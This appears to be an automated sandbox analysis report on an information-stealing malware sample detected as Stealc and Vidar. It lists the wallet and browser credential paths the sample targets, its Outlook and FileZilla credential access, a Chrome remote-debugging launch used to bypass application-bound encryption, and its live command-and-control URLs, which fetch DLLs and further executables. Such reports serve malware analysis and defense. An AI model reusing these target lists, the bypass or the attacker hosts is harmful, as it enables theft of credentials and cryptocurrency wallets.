Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2697249380.00000000008F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\HIDHIEGIII.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000000.00000002.2697249380.000000000090C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2130684805.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2697249380.0000000000841000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40C40 sqlite3_bind_zeroblob,	0_2_6CB40C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40D60 sqlite3_bind_parameter_name,	0_2_6CB40D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68EA0 sqlite3_clear_bindings,	0_2_6CA68EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB40B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66410 bind,WSAGetLastError,	0_2_6CA66410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA660B0 listen,WSAGetLastError,	0_2_6CA660B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C030 sqlite3_bind_parameter_count,	0_2_6CA6C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66070 PR_Listen,	0_2_6CA66070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA6C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F22D0 sqlite3_bind_blob,	0_2_6C9F22D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\HIDHIEGIII.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\HIDHIEGIII.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dllLs	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9n	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpam	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpes;C:	100%	Avira URL Cloud	malware
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/;p	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.238	true	false	high
www.google.com	142.250.181.100	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php_	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
http://www.broofa.com	chromecache_88.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpc	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpe	file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phps	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpq	file.exe, 00000000.00000002.2705701503.000000000BCCE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpw	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
https://apis.google.com	chromecache_88.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpam	file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ta	file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllLs	file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711939853.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php#	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HIJEGDBGDBFIJKECBAKF.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_88.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpt	skotes.exe, 00000011.00000002.3378393306.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php?	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpG	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/a	skotes.exe, 00000011.00000002.3378393306.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high
